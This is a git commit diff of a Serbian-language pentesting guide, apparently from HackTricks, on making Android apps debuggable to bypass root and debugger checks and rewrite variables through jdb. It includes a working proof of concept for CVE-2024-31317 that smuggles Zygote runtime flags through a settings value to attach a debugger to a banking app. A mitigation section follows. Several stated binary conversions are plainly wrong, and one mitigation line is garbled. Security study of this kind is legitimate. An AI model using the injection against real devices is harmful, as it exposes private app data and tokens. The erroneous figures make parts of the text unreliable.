Translated ['src/mobile-pentesting/android-app-pentesting/exploiting-a-d

This commit is contained in:
Translator 2025-07-28 16:33:06 +00:00
parent 1fa0d1984e
commit d20e7a8adb

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
# **Obilaženje root i debagovanja provere**
# **Obilaženje provere root i debagovanja**
Ovaj deo posta je sažetak iz posta [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
@ -12,34 +12,34 @@ Ovaj deo posta je sažetak iz posta [**https://medium.com/@shubhamsonani/hacking
Sadržaj zasnovan na https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
1. **Decompile APK:**
1. **Decompile the APK:**
- Iskoristite APK-GUI alat za dekompilaciju APK-a.
- U _android-manifest_ datoteci, dodajte `android:debuggable=true` da omogućite režim debagovanja.
- U _android-manifest_ datoteci, dodajte `android:debuggable="true"` da omogućite režim debagovanja.
- Ponovo kompajlirajte, potpišite i zipalign modifikovanu aplikaciju.
2. **Instalirajte modifikovanu aplikaciju:**
- Koristite komandu: `adb install <application_name>`.
3. **Preuzmite naziv paketa:**
3. **Preuzmite ime paketa:**
- Izvršite `adb shell pm list packages 3` da biste naveli aplikacije trećih strana i pronašli naziv paketa.
- Izvršite `adb shell pm list packages 3` da biste naveli aplikacije trećih strana i pronašli ime paketa.
4. **Postavite aplikaciju da čeka na vezu debagera:**
- Komanda: `adb shell am setup-debug-app w <package_name>`.
- **Napomena:** Ova komanda mora biti pokrenuta svaki put pre pokretanja aplikacije kako bi se osiguralo da čeka na debager.
- Za trajnost, koristite `adb shell am setup-debug-app w -persistent <package_name>`.
- Za trajnost, koristite `adb shell am setup-debug-app w persistent <package_name>`.
- Da biste uklonili sve oznake, koristite `adb shell am clear-debug-app <package_name>`.
5. **Pripremite se za debagovanje u Android Studiju:**
- Navigirajte u Android Studiju do _File -> Open Profile or APK_.
- Idite u Android Studio na _File -> Open Profile or APK_.
- Otvorite rekompajlirani APK.
6. **Postavite prekidne tačke u ključnim Java datotekama:**
- Postavite prekidne tačke u `MainActivity.java` (specifično u `onCreate` metodi), `b.java`, i `ContextWrapper.java`.
- Postavite prekidne tačke u `MainActivity.java` (specifično u metodi `onCreate`), `b.java`, i `ContextWrapper.java`.
### **Obilaženje provera**
@ -48,26 +48,26 @@ Aplikacija će u određenim trenucima proveravati da li je debagovana i takođe
Za proveru debagovanja:
1. **Modifikujte postavke oznaka:**
- U sekciji varijabli konzole debagera, navigirajte do: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
- U sekciji varijabli konzole debagera, idite na: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
- **Napomena:** Binarna reprezentacija `flags = 814267974` je `11000011100111011110`, što ukazuje da je "Flag_debuggable" aktivan.
![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
Ovi koraci zajedno osiguravaju da aplikacija može biti debagovana i da se određene sigurnosne provere mogu obiti korišćenjem debagera, olakšavajući dublju analizu ili modifikaciju ponašanja aplikacije.
Ovi koraci zajedno osiguravaju da aplikacija može biti debagovana i da se određene sigurnosne provere mogu obilaženjem debagera, olakšavajući dublju analizu ili modifikaciju ponašanja aplikacije.
Korak 2 uključuje promenu vrednosti oznake na 814267972, koja se u binarnom obliku predstavlja kao 110000101101000000100010100.
Korak 2 uključuje promenu vrednosti oznake na 814267972, koja je predstavljena u binarnom obliku kao 110000101101000000100010100.
# **Eksploatacija ranjivosti**
Demonstracija je pružena korišćenjem ranjive aplikacije koja sadrži dugme i textview. U početku, aplikacija prikazuje "Crack Me". Cilj je promeniti poruku sa "Try Again" na "Hacked" u toku izvršavanja, bez modifikacije izvornog koda.
## **Provera ranjivosti**
## **Proveravanje ranjivosti**
- Aplikacija je dekompilirana korišćenjem `apktool` da bi se pristupilo `AndroidManifest.xml` datoteci.
- Prisutnost `android_debuggable="true"` u AndroidManifest.xml ukazuje da je aplikacija debagovana i podložna eksploataciji.
- Vredno je napomenuti da se `apktool` koristi isključivo za proveru statusa debagovanja bez modifikacije bilo kog koda.
## **Priprema postavke**
## **Priprema postavki**
- Proces je uključivao pokretanje emulatora, instaliranje ranjive aplikacije i korišćenje `adb jdwp` za identifikaciju Dalvik VM portova koji slušaju.
- JDWP (Java Debug Wire Protocol) omogućava debagovanje aplikacije koja se izvršava u VM-u izlaganjem jedinstvenog porta.
@ -77,15 +77,51 @@ Demonstracija je pružena korišćenjem ranjive aplikacije koja sadrži dugme i
- Eksploatacija je izvršena postavljanjem prekidnih tačaka i kontrolisanjem toka aplikacije.
- Komande poput `classes` i `methods <class_name>` korišćene su za otkrivanje strukture aplikacije.
- Prekidna tačka je postavljena u `onClick` metodi, a njeno izvršavanje je kontrolisano.
- Prekidna tačka je postavljena u metodi `onClick`, a njeno izvršavanje je kontrolisano.
- Komande `locals`, `next`, i `set` korišćene su za inspekciju i modifikaciju lokalnih varijabli, posebno menjajući poruku "Try Again" u "Hacked".
- Modifikovani kod je izvršen korišćenjem `run` komande, uspešno menjajući izlaz aplikacije u realnom vremenu.
- Modifikovani kod je izvršen korišćenjem komande `run`, uspešno menjajući izlaz aplikacije u realnom vremenu.
Ovaj primer je demonstrirao kako se ponašanje debagovane aplikacije može manipulisati, ističući potencijal za složenije eksploate poput dobijanja shell pristupa na uređaju u kontekstu aplikacije.
---
# 2024 Pretvaranje **bilo koje** aplikacije u debagovani proces (CVE-2024-31317)
Čak i ako ciljani APK _nije_ isporučen sa oznakom `android:debuggable`, nedavna istraživanja su pokazala da je moguće prisiliti **arbitrarne aplikacije** da se pokrenu sa `DEBUG_ENABLE_JDWP` runtime oznakom zloupotrebom načina na koji Zygote analizira argumente komandne linije.
* **Ranjivost:** Nepravilna validacija `--runtime-flags` dostavljenih putem Zygote-ovog komandnog soketa omogućava napadaču koji može da dođe do `system_server` (na primer, putem privilegovanog `adb` shell-a koji ima `WRITE_SECURE_SETTINGS` dozvolu) da injektuje dodatne parametre. Kada se kreirana komanda ponovo reprodukuje od strane `system_server`, žrtvinska aplikacija se fork-uje kao _debuggable_ i sa JDWP nitima koje slušaju. Problem se prati kao **CVE-2024-31317** i rešen je u junskom 2024 Android Security Bulletin-u.
* **Uticaj:** Potpuni pristup za čitanje/pisanje privatnom direktorijumu podataka **bilo koje** aplikacije (uključujući privilegovane kao što je `com.android.settings`), krađa tokena, MDM obilaženje, i u mnogim slučajevima direktan put do eskalacije privilegija zloupotrebom izvezenih IPC krajnjih tačaka sada debagovanog procesa.
* **Zahvaćene verzije:** Android 9 do 14 pre junskog 2024 nivoa zakrpe.
## Brza PoC
```bash
# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
# 2. Launch the target app it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
```
> Kreirana vrednost u koraku 1 prekida parser iz “brze staze” i dodaje drugu sintetičku komandu gde je `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) prihvaćena kao da je bila dostavljena od strane okvira. Kada se aplikacija pokrene, otvara se JDWP soket i redovne dinamičke-debug trikove (zamena metoda, patchovanje varijabli, live Frida injekcija, itd.) su mogući **bez modifikovanja APK-a ili slike za pokretanje uređaja**.
## Detekcija i ublažavanje
* Patch na **2024-06-01** (ili kasnije) nivo bezbednosti Google je ojačao `ZygoteCommandBuffer` tako da se naredbe ne mogu krijumčariti na ovaj način.
* Ograničiti `WRITE_SECURE_SETTINGS` / `shell` pristup na proizvodnim uređajima. Eksploatacija zahteva ovu dozvolu, koja se obično drži samo od strane ADB ili aplikacija sa privilegijama OEM-a.
* Na EMM/MDM-u upravljanim flotama, primeniti `ro.debuggable=0` i odbiti shell putem `adb disable-verifier`.
---
## Reference
- [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
- [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
- [https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html)
- [https://blog.flanker017.me/cve-2024-31317/](https://blog.flanker017.me/cve-2024-31317/)
{{#include ../../banners/hacktricks-training.md}}